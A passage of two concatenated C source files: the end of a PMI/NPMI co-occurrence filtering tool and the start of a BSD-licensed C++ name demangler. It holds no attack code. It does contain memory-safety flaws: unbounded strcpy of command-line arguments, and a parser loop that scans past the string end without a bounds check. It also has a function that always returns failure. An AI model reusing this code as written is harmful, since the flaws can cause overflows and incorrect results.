copy_np_0(&buffer[i], &buffer_w[idx], shift, write_type);
idx++;
}
}
fwrite(buffer_w, sizeof(COLLOC), cnt_write, fid);
fflush(fid);
free(buffer_w); buffer_w = NULL;
}
else if (write_type == 6)
{
COLLOC_NP *buffer_w = (COLLOC_NP*)malloc(sizeof(COLLOC_NP) * cnt_write);
for (i = 0; i < count; i++)
{
if (buffer[i].pmi > cutp && buffer[i].npmi > cutn)
{
copy_np_2(&buffer[i], &buffer_w[idx], shift);
idx++;
}
}
fwrite(buffer_w, sizeof(COLLOC_NP), cnt_write, fid);
fflush(fid);
free(buffer_w); buffer_w = NULL;
}
else
{
COLLOC_P *buffer_w = (COLLOC_P*)malloc(sizeof(COLLOC_P) * cnt_write);
for (i = 0; i < count; i++)
{
if (buffer[i].pmi > cutp && buffer[i].npmi > cutn)
{
copy_np_1(&buffer[i], &buffer_w[idx], shift, write_type);
idx++;
}
}
fwrite(buffer_w, sizeof(COLLOC_P), cnt_write, fid);
fflush(fid);
free(buffer_w); buffer_w = NULL;
}
return cnt_write;
}
void pmi(char *input_file, char *output_file, double cutp, double cutn, double shift, double smooth, int smooth_type, double context_dist_smooth, int write_type)
{
int i, n, nrow = 0, ncol = 0, nrec = 0, nrec_out = 0;
scan_rowcol(input_file, &nrow, &ncol, &nrec);
double sumsum = 0.0, minpmi = DBL_MAX, maxpmi = -DBL_MAX;
double *sum_row = (double*)malloc(sizeof(double) * nrow);
double *sum_col = (double*)malloc(sizeof(double) * ncol);
if (sum_row == NULL || sum_col == NULL) { printf("Memory allocation failed.\r\n"); exit(EXIT_FAILURE); }
calc_stats(input_file, sum_row, nrow, sum_col, ncol, &sumsum, smooth, smooth_type, context_dist_smooth);
COLLOC *buffer_r = (COLLOC*)malloc(sizeof(COLLOC) * BUFF_SIZE);
COLLOC_NP *buffer_w = (COLLOC_NP*)malloc(sizeof(COLLOC_NP) * BUFF_SIZE);
if (buffer_r == NULL || buffer_w == NULL) { printf("Memory allocation failed.\r\n"); exit(EXIT_FAILURE); }
FILE *fr = fopen(input_file, "rb");
FILE *fw = fopen(output_file, "wb");
if (fr == NULL || fw == NULL) { printf("Error: could not open input/output files.\r\n"); exit(EXIT_FAILURE); }
do
{
n = fread(buffer_r, sizeof(COLLOC), BUFF_SIZE, fr);
for (i = 0; i < n; i++)
{
copy_0_np(&buffer_r[i], &buffer_w[i]);
buffer_w[i].pmi = log2((buffer_w[i].val + smooth) / (sumsum * sum_row[buffer_w[i].row] * sum_col[buffer_w[i].col]));
buffer_w[i].npmi = -buffer_w[i].pmi / log2((buffer_w[i].val + smooth) / sumsum);
if (buffer_w[i].pmi < minpmi)
minpmi = buffer_w[i].pmi;
if (buffer_w[i].pmi > maxpmi)
maxpmi = buffer_w[i].pmi;
}
nrec_out += write_chunk(buffer_w, n, write_type, cutp, cutn, shift, fw);
} while (n == BUFF_SIZE);
fclose(fr);
fclose(fw);
printf("Minimum PMI: %5.2f\r\n", minpmi);
printf("Maximum PMI: %5.2f\r\n", maxpmi);
printf("%d records has been read from the input file.\r\n", nrec);
printf("%d records has been written to the output file.\r\n\r\n", nrec_out);
free(sum_row); sum_row = NULL;
free(sum_col); sum_col = NULL;
free(buffer_r); buffer_r = NULL;
free(buffer_w); buffer_w = NULL;
}
int scmp(char *s1, char *s2) {
while (*s1 != '\0' && *s1 == *s2) { s1++; s2++; }
return(*s1 - *s2);
}
int find_arg(char *str, int argc, char **argv) {
int i;
for (i = 1; i < argc; i++) {
if (!scmp(str, argv[i])) {
if (i == argc - 1) {
printf("No argument given for %s\n", str);
exit(EXIT_FAILURE);
}
return i;
}
}
return -1;
}
void usage()
{
printf("\r\nTool to filter cooccurrences based on Pointwise Mutual Information (PMI) or Normalized PMI (NPMI).\r\n");
printf("Author: Behrouz Haji Soleimani ([email protected])\r\n\r\n");
printf("Usage: ./pmi -i <input_file> [-o <output_file>] [-cp <double>] [-cn <double>] [-w <int>] \r\n\r\n");
printf("Example usage:\r\n");
printf("./pmi -i cooccur.bin -o cooccur_pmi.bin -cp 0 -w 0\r\n\r\n");
printf("Options:\r\n");
printf(" -i <file>\r\n");
printf(" Path to the input file containing the cooccurrences or any sparse matrix\r\n\r\n");
printf(" -o <file>\r\n");
printf(" Path to the output file (filtered records will be written here!)\r\n\r\n");
printf(" -cp <double>\r\n");
printf(" PMI cutoff threshold. Only records with PMI larger than <double> will be written to the output. Default: -1.79e+308 (don't filter!)\r\n\r\n");
printf(" -cn <double>\r\n");
printf(" NPMI cutoff threshold. Only records with NPMI larger than <double> will be written to the output. Default: -1.79e+308 (don't filter!)\r\n\r\n");
printf(" -sh <double>\r\n");
printf(" Add a constant to all PMI/NPMI values (shifted PMI). Default: 0.0\r\n\r\n");
printf(" -sm <double>\r\n");
printf(" Laplace smoothing for all elements of the matrix. Adds <double> to every element. Default: 0.0\r\n\r\n");
printf(" -sm2 <double>\r\n");
printf(" Laplace smoothing for non-zero elements of the matrix. Adds <double> to non-zero elements. sm2 suppresses sm. Default: 0.0\r\n\r\n");
printf(" -w <int>\r\n");
printf(" Can be 0, 1, 2, 3, 4, 5, or 6 specifying what information to be written to the output.\r\n");
printf(" 0 (default): same as input (row_idx, col_idx, value)\r\n");
printf(" 1: (row_idx, col_idx, PMI)\r\n");
printf(" 2: (row_idx, col_idx, NPMI)\r\n");
printf(" 3: (row_idx, col_idx, value, PMI)\r\n");
printf(" 4: (row_idx, col_idx, value, NPMI)\r\n");
printf(" 5: (row_idx, col_idx, PMI, NPMI)\r\n");
printf(" 6: (row_idx, col_idx, value, PMI, NPMI)\r\n\r\n");
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
int i, write_type = DEFAULT_WRITE, smooth_type = DEFAULT_SMOOTH_TYPE;
double cutp = DEFAULT_CUTP, cutn = DEFAULT_CUTN, shift = DEFAULT_SHIFT, smooth = DEFAULT_SMOOTH, context_dist_smooth = DEFAULT_CONTEXT_SMOOTH;
char *input_file = malloc(sizeof(char) * MAX_FILE_NAME);
char *output_file = malloc(sizeof(char) * MAX_FILE_NAME);
if (input_file == NULL || output_file == NULL) { printf("Memory allocation failed.\r\n"); exit(EXIT_FAILURE); }
if ((i = find_arg((char *)"-i", argc, argv)) > 0 || (i = find_arg((char *)"-input", argc, argv)) > 0)
strcpy(input_file, argv[i + 1]);
else
usage();
if ((i = find_arg((char *)"-o", argc, argv)) > 0 || (i = find_arg((char *)"-output", argc, argv)) > 0)
strcpy(output_file, argv[i + 1]);
else
strcpy(output_file, (char*)"pmi_out.bin");
if ((i = find_arg((char *)"-cp", argc, argv)) > 0 || (i = find_arg((char *)"-pmicutoff", argc, argv)) > 0)
cutp = atof(argv[i + 1]);
if ((i = find_arg((char *)"-cn", argc, argv)) > 0 || (i = find_arg((char *)"-npmicutoff", argc, argv)) > 0)
cutn = atof(argv[i + 1]);
if ((i = find_arg((char *)"-sh", argc, argv)) > 0 || (i = find_arg((char *)"-shift", argc, argv)) > 0)
shift = atof(argv[i + 1]);
if ((i = find_arg((char *)"-w", argc, argv)) > 0 || (i = find_arg((char *)"-write", argc, argv)) > 0)
write_type = atoi(argv[i + 1]);
if ((i = find_arg((char *)"-cs", argc, argv)) > 0 || (i = find_arg((char *)"-contextsmooth", argc, argv)) > 0)
context_dist_smooth = atof(argv[i + 1]);
if ((i = find_arg((char *)"-sm2", argc, argv)) > 0 || (i = find_arg((char *)"-smoothnnz", argc, argv)) > 0)
{
smooth = atof(argv[i + 1]);
smooth_type = 2;
}
else if ((i = find_arg((char *)"-sm", argc, argv)) > 0 || (i = find_arg((char *)"-sm1", argc, argv)) > 0 || (i = find_arg((char *)"-smooth", argc, argv)) > 0 || (i = find_arg((char *)"-smoothall", argc, argv)) > 0)
{
smooth = atof(argv[i + 1]);
smooth_type = 1;
}
printf("INITIALIZING ...\r\n");
printf("PMI cutoff: %.5g\r\n", cutp);
printf("NPMI cutoff: %.5g\r\n", cutn);
printf("PMI/NPMI values will be shifted by: %lf\r\n", shift);
if (context_dist_smooth > DBL_MIN) printf("Context distribution will be smoothed by alpha: %lf\r\n", context_dist_smooth);
pmi(input_file, output_file, cutp, cutn, shift, smooth, smooth_type, context_dist_smooth, write_type);
return EXIT_SUCCESS;
}
|
the_stack_data/96435.c | /*-
* Copyright (c) 2007, 2008 Hyogeol Lee <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer
* in this position and unchanged.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <sys/types.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <limits.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/**
* @file cpp_demangle.c
* @brief Decode IA-64 C++ ABI style implementation.
*
* IA-64 standard ABI(Itanium C++ ABI) references.
*
* http://www.codesourcery.com/cxx-abi/abi.html#mangling \n
* http://www.codesourcery.com/cxx-abi/abi-mangling.html
*/
/** @brief Dynamic vector data for string. */
struct vector_str {
/** Current size */
size_t size;
/** Total capacity */
size_t capacity;
/** String array */
char **container;
};
#define BUFFER_GROWFACTOR 1.618
#define VECTOR_DEF_CAPACITY 8
#define ELFTC_ISDIGIT(C) (isdigit((C) & 0xFF))
enum type_qualifier {
TYPE_PTR, TYPE_REF, TYPE_CMX, TYPE_IMG, TYPE_EXT, TYPE_RST, TYPE_VAT,
TYPE_CST
};
struct vector_type_qualifier {
size_t size, capacity;
enum type_qualifier *q_container;
struct vector_str ext_name;
};
enum read_cmd {
READ_FAIL, READ_NEST, READ_TMPL, READ_EXPR, READ_EXPL, READ_LOCAL,
READ_TYPE, READ_FUNC, READ_PTRMEM
};
struct vector_read_cmd {
size_t size, capacity;
enum read_cmd *r_container;
};
struct cpp_demangle_data {
struct vector_str output; /* output string vector */
struct vector_str output_tmp;
struct vector_str subst; /* substitution string vector */
struct vector_str tmpl;
struct vector_str class_type;
struct vector_read_cmd cmd;
bool paren; /* parenthesis opened */
bool pfirst; /* first element of parameter */
bool mem_rst; /* restrict member function */
bool mem_vat; /* volatile member function */
bool mem_cst; /* const member function */
int func_type;
const char *cur; /* current mangled name ptr */
const char *last_sname; /* last source name */
int push_head;
};
#define CPP_DEMANGLE_TRY_LIMIT 128
#define FLOAT_SPRINTF_TRY_LIMIT 5
#define FLOAT_QUADRUPLE_BYTES 16
#define FLOAT_EXTENED_BYTES 10
#define SIMPLE_HASH(x,y) (64 * x + y)
static size_t get_strlen_sum(const struct vector_str *v);
static bool vector_str_grow(struct vector_str *v);
static size_t
get_strlen_sum(const struct vector_str *v)
{
size_t i, len = 0;
if (v == NULL)
return (0);
assert(v->size > 0);
for (i = 0; i < v->size; ++i)
len += strlen(v->container[i]);
return (len);
}
/**
* @brief Deallocate resource in vector_str.
*/
static void
vector_str_dest(struct vector_str *v)
{
size_t i;
if (v == NULL)
return;
for (i = 0; i < v->size; ++i)
free(v->container[i]);
free(v->container);
}
/**
* @brief Find string in vector_str.
* @param v Destination vector.
* @param o String to find.
* @param l Length of the string.
* @return -1 at failed, 0 at not found, 1 at found.
*/
static int
vector_str_find(const struct vector_str *v, const char *o, size_t l)
{
size_t i;
if (v == NULL || o == NULL)
return (-1);
for (i = 0; i < v->size; ++i)
if (strncmp(v->container[i], o, l) == 0)
return (1);
return (0);
}
/**
* @brief Get new allocated flat string from vector.
*
* If l is not NULL, return length of the string.
* @param v Destination vector.
* @param l Length of the string.
* @return NULL at failed or NUL terminated new allocated string.
*/
static char *
vector_str_get_flat(const struct vector_str *v, size_t *l)
{
ssize_t elem_pos, elem_size, rtn_size;
size_t i;
char *rtn;
if (v == NULL || v->size == 0)
return (NULL);
if ((rtn_size = get_strlen_sum(v)) == 0)
return (NULL);
if ((rtn = malloc(sizeof(char) * (rtn_size + 1))) == NULL)
return (NULL);
elem_pos = 0;
for (i = 0; i < v->size; ++i) {
elem_size = strlen(v->container[i]);
memcpy(rtn + elem_pos, v->container[i], elem_size);
elem_pos += elem_size;
}
rtn[rtn_size] = '\0';
if (l != NULL)
*l = rtn_size;
return (rtn);
}
static bool
vector_str_grow(struct vector_str *v)
{
size_t i, tmp_cap;
char **tmp_ctn;
if (v == NULL)
return (false);
assert(v->capacity > 0);
tmp_cap = v->capacity * BUFFER_GROWFACTOR;
assert(tmp_cap > v->capacity);
if ((tmp_ctn = malloc(sizeof(char *) * tmp_cap)) == NULL)
return (false);
for (i = 0; i < v->size; ++i)
tmp_ctn[i] = v->container[i];
free(v->container);
v->container = tmp_ctn;
v->capacity = tmp_cap;
return (true);
}
/**
* @brief Initialize vector_str.
* @return false at failed, true at success.
*/
static bool
vector_str_init(struct vector_str *v)
{
if (v == NULL)
return (false);
v->size = 0;
v->capacity = VECTOR_DEF_CAPACITY;
assert(v->capacity > 0);
if ((v->container = malloc(sizeof(char *) * v->capacity)) == NULL)
return (false);
assert(v->container != NULL);
return (true);
}
/**
* @brief Remove last element in vector_str.
* @return false at failed, true at success.
*/
static bool
vector_str_pop(struct vector_str *v)
{
if (v == NULL)
return (false);
if (v->size == 0)
return (true);
--v->size;
free(v->container[v->size]);
v->container[v->size] = NULL;
return (true);
}
/**
* @brief Push back string to vector.
* @return false at failed, true at success.
*/
static bool
vector_str_push(struct vector_str *v, const char *str, size_t len)
{
if (v == NULL || str == NULL)
return (false);
if (v->size == v->capacity && vector_str_grow(v) == false)
return (false);
if ((v->container[v->size] = malloc(sizeof(char) * (len + 1))) == NULL)
return (false);
snprintf(v->container[v->size], len + 1, "%s", str);
++v->size;
return (true);
}
/**
* @brief Push front org vector to det vector.
* @return false at failed, true at success.
*/
static bool
vector_str_push_vector_head(struct vector_str *dst, struct vector_str *org)
{
size_t i, j, tmp_cap;
char **tmp_ctn;
if (dst == NULL || org == NULL)
return (false);
tmp_cap = (dst->size + org->size) * BUFFER_GROWFACTOR;
if ((tmp_ctn = malloc(sizeof(char *) * tmp_cap)) == NULL)
return (false);
for (i = 0; i < org->size; ++i)
if ((tmp_ctn[i] = strdup(org->container[i])) == NULL) {
for (j = 0; j < i; ++j)
free(tmp_ctn[j]);
free(tmp_ctn);
return (false);
}
for (i = 0; i < dst->size; ++i)
tmp_ctn[i + org->size] = dst->container[i];
free(dst->container);
dst->container = tmp_ctn;
dst->capacity = tmp_cap;
dst->size += org->size;
return (true);
}
/**
* @brief Get new allocated flat string from vector between begin and end.
*
* If r_len is not NULL, string length will be returned.
* @return NULL at failed or NUL terminated new allocated string.
*/
static char *
vector_str_substr(const struct vector_str *v, size_t begin, size_t end,
size_t *r_len)
{
size_t cur, i, len;
char *rtn;
if (v == NULL || begin > end)
return (NULL);
len = 0;
for (i = begin; i < end + 1; ++i)
len += strlen(v->container[i]);
if ((rtn = malloc(sizeof(char) * (len + 1))) == NULL)
return (NULL);
if (r_len != NULL)
*r_len = len;
cur = 0;
for (i = begin; i < end + 1; ++i) {
len = strlen(v->container[i]);
memcpy(rtn + cur, v->container[i], len);
cur += len;
}
rtn[cur] = '\0';
return (rtn);
}
static void cpp_demangle_data_dest(struct cpp_demangle_data *);
static int cpp_demangle_data_init(struct cpp_demangle_data *,
const char *);
static int cpp_demangle_get_subst(struct cpp_demangle_data *, size_t);
static int cpp_demangle_get_tmpl_param(struct cpp_demangle_data *, size_t);
static int cpp_demangle_push_fp(struct cpp_demangle_data *,
char *(*)(const char *, size_t));
static int cpp_demangle_push_str(struct cpp_demangle_data *, const char *,
size_t);
static int cpp_demangle_push_subst(struct cpp_demangle_data *,
const char *, size_t);
static int cpp_demangle_push_subst_v(struct cpp_demangle_data *,
struct vector_str *);
static int cpp_demangle_push_type_qualifier(struct cpp_demangle_data *,
struct vector_type_qualifier *, const char *);
static int cpp_demangle_read_array(struct cpp_demangle_data *);
static int cpp_demangle_read_encoding(struct cpp_demangle_data *);
static int cpp_demangle_read_expr_primary(struct cpp_demangle_data *);
static int cpp_demangle_read_expression(struct cpp_demangle_data *);
static int cpp_demangle_read_expression_binary(struct cpp_demangle_data *,
const char *, size_t);
static int cpp_demangle_read_expression_unary(struct cpp_demangle_data *,
const char *, size_t);
static int cpp_demangle_read_expression_trinary(struct cpp_demangle_data *,
const char *, size_t, const char *, size_t);
static int cpp_demangle_read_function(struct cpp_demangle_data *, int *,
struct vector_type_qualifier *);
static int cpp_demangle_read_local_name(struct cpp_demangle_data *);
static int cpp_demangle_read_name(struct cpp_demangle_data *);
static int cpp_demangle_read_nested_name(struct cpp_demangle_data *);
static int cpp_demangle_read_number(struct cpp_demangle_data *, long *);
static int cpp_demangle_read_nv_offset(struct cpp_demangle_data *);
static int cpp_demangle_read_offset(struct cpp_demangle_data *);
static int cpp_demangle_read_offset_number(struct cpp_demangle_data *);
static int cpp_demangle_read_pointer_to_member(struct cpp_demangle_data *);
static int cpp_demangle_read_sname(struct cpp_demangle_data *);
static int cpp_demangle_read_subst(struct cpp_demangle_data *);
static int cpp_demangle_read_subst_std(struct cpp_demangle_data *);
static int cpp_demangle_read_subst_stdtmpl(struct cpp_demangle_data *,
const char *, size_t);
static int cpp_demangle_read_tmpl_arg(struct cpp_demangle_data *);
static int cpp_demangle_read_tmpl_args(struct cpp_demangle_data *);
static int cpp_demangle_read_tmpl_param(struct cpp_demangle_data *);
static int cpp_demangle_read_type(struct cpp_demangle_data *, int);
static int cpp_demangle_read_uqname(struct cpp_demangle_data *);
static int cpp_demangle_read_v_offset(struct cpp_demangle_data *);
static char *decode_fp_to_double(const char *, size_t);
static char *decode_fp_to_float(const char *, size_t);
static char *decode_fp_to_float128(const char *, size_t);
static char *decode_fp_to_float80(const char *, size_t);
static char *decode_fp_to_long_double(const char *, size_t);
static int hex_to_dec(char);
static void vector_read_cmd_dest(struct vector_read_cmd *);
static int vector_read_cmd_find(struct vector_read_cmd *, enum read_cmd);
static int vector_read_cmd_init(struct vector_read_cmd *);
static int vector_read_cmd_pop(struct vector_read_cmd *);
static int vector_read_cmd_push(struct vector_read_cmd *, enum read_cmd);
static void vector_type_qualifier_dest(struct vector_type_qualifier *);
static int vector_type_qualifier_init(struct vector_type_qualifier *);
static int vector_type_qualifier_push(struct vector_type_qualifier *,
enum type_qualifier);
/**
* @brief Decode the input string by IA-64 C++ ABI style.
*
* GNU GCC v3 use IA-64 standard ABI.
* @return New allocated demangled string or NULL if failed.
* @todo 1. Testing and more test case. 2. Code cleaning.
*/
char *
__cxa_demangle_gnu3(const char *org)
{
struct cpp_demangle_data ddata;
ssize_t org_len;
unsigned int limit;
char *rtn;
if (org == NULL)
return (NULL);
// Try demangling as a type for short encodings
if (((org_len = strlen(org)) < 2) || (org[0] != '_' || org[1] != 'Z' )) {
if (!cpp_demangle_data_init(&ddata, org))
return (NULL);
if (!cpp_demangle_read_type(&ddata, 0))
goto clean;
rtn = vector_str_get_flat(&ddata.output, (size_t *) NULL);
goto clean;
}
if (org_len > 11 && !strncmp(org, "_GLOBAL__I_", 11)) {
if ((rtn = malloc(org_len + 19)) == NULL)
return (NULL);
snprintf(rtn, org_len + 19,
"global constructors keyed to %s", org + 11);
return (rtn);
}
if (!cpp_demangle_data_init(&ddata, org + 2))
return (NULL);
rtn = NULL;
if (!cpp_demangle_read_encoding(&ddata))
goto clean;
limit = 0;
while (*ddata.cur != '\0') {
/*
* Breaking at some gcc info at tail. e.g) @@GLIBCXX_3.4
*/
if (*ddata.cur == '@' && *(ddata.cur + 1) == '@')
break;
if (!cpp_demangle_read_type(&ddata, 1))
goto clean;
if (limit++ > CPP_DEMANGLE_TRY_LIMIT)
goto clean;
}
if (ddata.output.size == 0)
goto clean;
if (ddata.paren && !vector_str_push(&ddata.output, ")", 1))
goto clean;
if (ddata.mem_vat && !vector_str_push(&ddata.output, " volatile", 9))
goto clean;
if (ddata.mem_cst && !vector_str_push(&ddata.output, " const", 6))
goto clean;
if (ddata.mem_rst && !vector_str_push(&ddata.output, " restrict", 9))
goto clean;
rtn = vector_str_get_flat(&ddata.output, (size_t *) NULL);
clean:
cpp_demangle_data_dest(&ddata);
return (rtn);
}
static void
cpp_demangle_data_dest(struct cpp_demangle_data *d)
{
if (d == NULL)
return;
vector_read_cmd_dest(&d->cmd);
vector_str_dest(&d->class_type);
vector_str_dest(&d->tmpl);
vector_str_dest(&d->subst);
vector_str_dest(&d->output_tmp);
vector_str_dest(&d->output);
}
static int
cpp_demangle_data_init(struct cpp_demangle_data *d, const char *cur)
{
if (d == NULL || cur == NULL)
return (0);
if (!vector_str_init(&d->output))
return (0);
if (!vector_str_init(&d->output_tmp))
goto clean1;
if (!vector_str_init(&d->subst))
goto clean2;
if (!vector_str_init(&d->tmpl))
goto clean3;
if (!vector_str_init(&d->class_type))
goto clean4;
if (!vector_read_cmd_init(&d->cmd))
goto clean5;
assert(d->output.container != NULL);
assert(d->output_tmp.container != NULL);
assert(d->subst.container != NULL);
assert(d->tmpl.container != NULL);
assert(d->class_type.container != NULL);
d->paren = false;
d->pfirst = false;
d->mem_rst = false;
d->mem_vat = false;
d->mem_cst = false;
d->func_type = 0;
d->cur = cur;
d->last_sname = NULL;
d->push_head = 0;
return (1);
clean5:
vector_str_dest(&d->class_type);
clean4:
vector_str_dest(&d->tmpl);
clean3:
vector_str_dest(&d->subst);
clean2:
vector_str_dest(&d->output_tmp);
clean1:
vector_str_dest(&d->output);
return (0);
}
static int
cpp_demangle_push_fp(struct cpp_demangle_data *ddata,
char *(*decoder)(const char *, size_t))
{
size_t len;
int rtn;
const char *fp;
char *f;
if (ddata == NULL || decoder == NULL)
return (0);
fp = ddata->cur;
while (*ddata->cur != 'E')
++ddata->cur;
++ddata->cur;
if ((f = decoder(fp, ddata->cur - fp)) == NULL)
return (0);
rtn = 0;
if ((len = strlen(f)) > 0 &&
cpp_demangle_push_str(ddata, f, len))
rtn = 1;
free(f);
return (0);
}
static int
cpp_demangle_push_str(struct cpp_demangle_data *ddata, const char *str,
size_t len)
{
if (ddata == NULL || str == NULL || len == 0)
return (0);
if (ddata->push_head > 0)
return (vector_str_push(&ddata->output_tmp, str, len));
return (vector_str_push(&ddata->output, str, len));
}
static int
cpp_demangle_push_subst(struct cpp_demangle_data *ddata, const char *str,
size_t len)
{
if (ddata == NULL || str == NULL || len == 0)
return (0);
if (!vector_str_find(&ddata->subst, str, len))
return (vector_str_push(&ddata->subst, str, len));
return (1);
}
static int
cpp_demangle_push_subst_v(struct cpp_demangle_data *ddata, struct vector_str *v)
{
size_t str_len;
int rtn;
char *str;
if (ddata == NULL || v == NULL)
return (0);
if ((str = vector_str_get_flat(v, &str_len)) == NULL)
return (0);
rtn = cpp_demangle_push_subst(ddata, str, str_len);
free(str);
return (rtn);
}
static int
cpp_demangle_push_type_qualifier(struct cpp_demangle_data *ddata,
struct vector_type_qualifier *v, const char *type_str)
{
struct vector_str subst_v;
size_t idx, e_idx, e_len;
int rtn;
char *buf;
if (ddata == NULL || v == NULL)
return (0);
if ((idx = v->size) == 0)
return (1);
rtn = 0;
if (type_str != NULL) {
if (!vector_str_init(&subst_v))
return (0);
if (!vector_str_push(&subst_v, type_str, strlen(type_str)))
goto clean;
}
e_idx = 0;
while (idx > 0) {
switch (v->q_container[idx - 1]) {
case TYPE_PTR:
if (!cpp_demangle_push_str(ddata, "*", 1))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, "*", 1))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_REF:
if (!cpp_demangle_push_str(ddata, "&", 1))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, "&", 1))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_CMX:
if (!cpp_demangle_push_str(ddata, " complex", 8))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, " complex", 8))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_IMG:
if (!cpp_demangle_push_str(ddata, " imaginary", 10))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, " imaginary", 10))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_EXT:
if (e_idx > v->ext_name.size - 1)
goto clean;
if ((e_len = strlen(v->ext_name.container[e_idx])) == 0)
goto clean;
if ((buf = malloc(sizeof(char) * (e_len + 1))) == NULL)
goto clean;
memcpy(buf, " ", 1);
memcpy(buf + 1, v->ext_name.container[e_idx], e_len);
if (!cpp_demangle_push_str(ddata, buf, e_len + 1)) {
free(buf);
goto clean;
}
if (type_str != NULL) {
if (!vector_str_push(&subst_v, buf,
e_len + 1)) {
free(buf);
goto clean;
}
if (!cpp_demangle_push_subst_v(ddata, &subst_v)) {
free(buf);
goto clean;
}
}
free(buf);
++e_idx;
break;
case TYPE_RST:
if (!cpp_demangle_push_str(ddata, " restrict", 9))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, " restrict", 9))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_VAT:
if (!cpp_demangle_push_str(ddata, " volatile", 9))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, " volatile", 9))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
case TYPE_CST:
if (!cpp_demangle_push_str(ddata, " const", 6))
goto clean;
if (type_str != NULL) {
if (!vector_str_push(&subst_v, " const", 6))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &subst_v))
goto clean;
}
break;
};
--idx;
}
rtn = 1;
clean:
if (type_str != NULL)
vector_str_dest(&subst_v);
return (rtn);
}
static int
cpp_demangle_get_subst(struct cpp_demangle_data *ddata, size_t idx)
{
size_t len;
if (ddata == NULL || ddata->subst.size <= idx)
return (0);
if ((len = strlen(ddata->subst.container[idx])) == 0)
return (0);
if (!cpp_demangle_push_str(ddata, ddata->subst.container[idx], len))
return (0);
/* skip '_' */
++ddata->cur;
return (1);
}
static int
cpp_demangle_get_tmpl_param(struct cpp_demangle_data *ddata, size_t idx)
{
size_t len;
if (ddata == NULL || ddata->tmpl.size <= idx)
return (0);
if ((len = strlen(ddata->tmpl.container[idx])) == 0)
return (0);
if (!cpp_demangle_push_str(ddata, ddata->tmpl.container[idx], len))
return (0);
++ddata->cur;
return (1);
}
static int
cpp_demangle_read_array(struct cpp_demangle_data *ddata)
{
size_t i, num_len, exp_len, p_idx, idx;
const char *num;
char *exp;
if (ddata == NULL || *(++ddata->cur) == '\0')
return (0);
if (*ddata->cur == '_') {
if (*(++ddata->cur) == '\0')
return (0);
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if (!cpp_demangle_push_str(ddata, "[]", 2))
return (0);
} else {
if (ELFTC_ISDIGIT(*ddata->cur) != 0) {
num = ddata->cur;
while (ELFTC_ISDIGIT(*ddata->cur) != 0)
++ddata->cur;
if (*ddata->cur != '_')
return (0);
num_len = ddata->cur - num;
assert(num_len > 0);
if (*(++ddata->cur) == '\0')
return (0);
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if (!cpp_demangle_push_str(ddata, "[", 1))
return (0);
if (!cpp_demangle_push_str(ddata, num, num_len))
return (0);
if (!cpp_demangle_push_str(ddata, "]", 1))
return (0);
} else {
p_idx = ddata->output.size;
if (!cpp_demangle_read_expression(ddata))
return (0);
if ((exp = vector_str_substr(&ddata->output, p_idx,
ddata->output.size - 1, &exp_len)) == NULL)
return (0);
idx = ddata->output.size;
for (i = p_idx; i < idx; ++i)
if (!vector_str_pop(&ddata->output)) {
free(exp);
return (0);
}
if (*ddata->cur != '_') {
free(exp);
return (0);
}
++ddata->cur;
if (*ddata->cur == '\0') {
free(exp);
return (0);
}
if (!cpp_demangle_read_type(ddata, 0)) {
free(exp);
return (0);
}
if (!cpp_demangle_push_str(ddata, "[", 1)) {
free(exp);
return (0);
}
if (!cpp_demangle_push_str(ddata, exp, exp_len)) {
free(exp);
return (0);
}
if (!cpp_demangle_push_str(ddata, "]", 1)) {
free(exp);
return (0);
}
free(exp);
}
}
return (1);
}
static int
cpp_demangle_read_expr_primary(struct cpp_demangle_data *ddata)
{
const char *num;
if (ddata == NULL || *(++ddata->cur) == '\0')
return (0);
if (*ddata->cur == '_' && *(ddata->cur + 1) == 'Z') {
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
if (!cpp_demangle_read_encoding(ddata))
return (0);
++ddata->cur;
return (1);
}
switch (*ddata->cur) {
case 'b':
switch (*(++ddata->cur)) {
case '0':
return (cpp_demangle_push_str(ddata, "false", 5));
case '1':
return (cpp_demangle_push_str(ddata, "true", 4));
